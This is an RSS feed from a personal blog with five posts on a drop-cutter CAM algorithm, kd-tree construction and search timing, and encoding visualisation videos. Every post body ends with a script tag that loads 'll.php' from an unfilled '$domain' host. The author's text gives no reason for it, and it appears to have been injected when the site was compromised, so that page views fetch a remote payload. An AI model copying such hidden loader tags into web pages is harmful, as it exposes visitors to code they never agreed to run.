<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; kd-tree</title>
	<atom:link href="http://www.anderswallin.net/tag/kd-tree/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Drop-cutter Tux</title>
		<link>http://www.anderswallin.net/2010/03/drop-cutter-tux/</link>
		<comments>http://www.anderswallin.net/2010/03/drop-cutter-tux/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 20:44:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Drop-Cutter]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>
		<category><![CDATA[tux]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2861</guid>
		<description><![CDATA[After the kd-tree search is done, I've added an overlap-check which leaves only triangles with a bounding box intersecting the cutter's bounding box for the drop-cutter algorithm. It's seems like a band-aid kind of hack to get it working, I think if the tree-search would be bug free the overlap check would not be needed... [...]]]></description>
			<content:encoded><![CDATA[<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/5eci8wSmeGM&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/5eci8wSmeGM&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p>After the kd-tree search is done, I've added an overlap-check which leaves only triangles with a bounding box intersecting the cutter's bounding box for the drop-cutter algorithm. It's seems like a band-aid kind of hack to get it working, I think if the tree-search would be bug free the overlap check would not be needed...</p>
<p>The HD-version of the video is much better, once youtube has finished processing.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/drop-cutter-tux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kd-tree visualization</title>
		<link>http://www.anderswallin.net/2010/03/kd-tree-visualization/</link>
		<comments>http://www.anderswallin.net/2010/03/kd-tree-visualization/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 20:04:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>
		<category><![CDATA[vtk]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2010/03/kd-tree-visualization/</guid>
		<description><![CDATA[When vimeo has had time to process the video, this will show a visualization of the kd-tree search: http://vimeo.com/10241672 the code is probably still a bit buggy...]]></description>
			<content:encoded><![CDATA[<p>When vimeo has had time to process the video, this will show a visualization of the kd-tree search:</p>
<p><a href="http://vimeo.com/10241672">http://vimeo.com/10241672</a></p>
<p><object type="application/x-shockwave-flash" data="http://vimeo.com/moogaloop.swf" width="500" height="281"><param name="allowscriptaccess" value="always"/><param name="allowfullscreen" value="true"/><param name="movie" value="http://vimeo.com/moogaloop.swf"/><param name="flashvars" value="clip_id=10241672&#038;server=vimeo.com&#038;fullscreen=1&#038;show_title=1&#038;show_byline=1&#038;show_portrait=1&#038;color=00ADEF"/></object></p>
<p>the code is probably still a bit buggy...</p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/-0MPPY49Nwk&#038;hl=en_US&#038;fs=1&#038;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-0MPPY49Nwk&#038;hl=en_US&#038;fs=1&#038;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/kd-tree-visualization/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Youtube vs. Vimeo</title>
		<link>http://www.anderswallin.net/2010/03/youtube-vs-vimeo/</link>
		<comments>http://www.anderswallin.net/2010/03/youtube-vs-vimeo/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:05:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[vimeo]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2849</guid>
		<description><![CDATA[I've continued to translate into C++ the old cam-experiments I wrote in C#. The kd-tree search for which triangles lie under the cutter seems to work, and the best way to visualize what is going on is through a video. Trying Vimeo for a change, to see if it's any better than youtube for these [...]]]></description>
			<content:encoded><![CDATA[<p>I've continued to translate into C++ the old cam-experiments I wrote in C#. The <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> search for which triangles lie under the cutter seems to work, and the best way to visualize what is going on is through a video. Trying <a href="http://vimeo.com/">Vimeo</a> for a change, to see if it's any better than youtube for these CAD/CAM-visualizations, since they <a href="http://vimeo.com/hd">advertise HD</a>.</p>
<p>There are 360 original frames captured from <a href="http://vtk.org/">VTK</a>, and the original was created with</p>
<blockquote><p>mogrify -format jpg -quality 97 *.png</p></blockquote>
<p>followed by (copy/pasted from some site google found for me...)</p>
<blockquote><p>mencoder mf://*.jpg -mf fps=25:type=jpg  -aspect 16:9 -of lavf -ovc lavc -lavcopts aglobal=1:vglobal=1:coder=0:vcodec=mpeg4:vbitrate=4500 -vf scale=1280:720 -ofps 30000/1001 -o OUTPUT3.mp4</p></blockquote>
<p>If anyone knows something better which produces nice results on youtube or vimeo, let me know.</p>
<p>The original is 1280x720 pixels, so it's better to jump out of the blog to watch the videos in native resolution.</p>
<p>Youtube: <a href="http://www.youtube.com/watch?v=k3uCpWYm174">http://www.youtube.com/watch?v=k3uCpWYm174</a></p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/k3uCpWYm174&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/k3uCpWYm174&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>
<p>Vimeo: <a href="http://vimeo.com/10215501">http://vimeo.com/10215501</a></p>
<p><object width="620" height="349"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10215501&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=10215501&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="620" height="349"></embed></object>
<p><a href="http://vimeo.com/10215501">Drop-cutter toolpath algorithm development, part1</a> from <a href="http://vimeo.com/user3393382">anders wallin</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>OK, so the video doesn't really show what is going on with the kd-tree search at all <img src='http://www.anderswallin.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  . It only shows two toolpaths, one coloured in many colours which is calculated without the kd-tree, and another one (offset upwards for clarity) that is calculated, much faster, using the kd-tree.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2010/03/youtube-vs-vimeo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>drop-cutter with kd-tree</title>
		<link>http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/</link>
		<comments>http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 01:29:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Drop-Cutter]]></category>
		<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/</guid>
		<description><![CDATA[First test with drop-cutter aided by the kd-tree. The output toolpath looks very much like the one without kd-tree, which is good. Less great is that I expected a speed-up of the algorithm - but in fact when I use kd-tree the program slows down! Something to investigate over the next few days.]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.anderswallin.net/wp-content/2008_03dropcut/drop-cutter.png" /></p>
<p>First test with drop-cutter aided by the kd-tree. The output toolpath looks very much like the one without kd-tree, which is good. Less great is that I expected a speed-up of the algorithm - but in fact when I use kd-tree the program slows down! Something to investigate over the next few days.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/drop-cutter-with-kd-tree/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Timing build_kdtree()</title>
		<link>http://www.anderswallin.net/2008/03/timing-build_kdtree/</link>
		<comments>http://www.anderswallin.net/2008/03/timing-build_kdtree/#comments</comments>
		<pubDate>Tue, 18 Mar 2008 21:46:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CAM]]></category>
		<category><![CDATA[drop-cutter]]></category>
		<category><![CDATA[kd-tree]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/timing-build_kdtree/</guid>
		<description><![CDATA[Drop-cutter requires a fast way of searching for triangles under the tool. A kd-tree (4-dimensional in this case) is suggested by Yau et al. I've tried to implement one here (look in trunk/Project2). Just ran some timing tests using Stopwatch() on it, and indeed the build_kdtree() function which takes a pile of triangles as input [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_03kdtime/kdtime.png"><img src="http://www.anderswallin.net/wp-content/2008_03kdtime/kdtime.png" alt="" /></a></p>
<p><a href="http://www.anderswallin.net/2007/08/drop-cutter-in-c-v2/">Drop-cutter</a> requires a fast way of searching for triangles under the tool. A <a href="http://en.wikipedia.org/wiki/Kd-tree">kd-tree</a> (4-dimensional in this case) is suggested by <a href="http://dx.doi.org/10.1080/00207540410001671651">Yau et al.</a> I've tried to implement one <a href="http://code.google.com/p/monocam/source/browse">here</a> (look in trunk/Project2). Just ran some timing tests using <a href="http://cplus.about.com/od/howtodothingsinc/a/timing.htm">Stopwatch()</a> on it, and indeed the build_kdtree() function which takes a pile of triangles as input and generates a kd-tree seems to run in O(N*log(N)) time as it should.</p>
<p>I've never drawn this type of plot before, and I was surprised at how close N*log(N) is to N - in a loglog plot they are almost equal!</p>
<p>This is a recursive function. I wonder if there's a good way of multi-threading recursive functions? My laptop is dual-core and a modern desktop PCs is likely a quad-core - so let's try to write these things multi-threaded from the start.</p>
<p>Next up is a function for doing the orthogonal range-search for triangles that lie under the tool. That's supposed to run in O(N^(1-1/D)+K) time, where D is the dimension of the tree and K is the number of reported triangles - so O(N^(3/4)+K) in this case. I'll try to get that done during the weekend.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/timing-build_kdtree/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

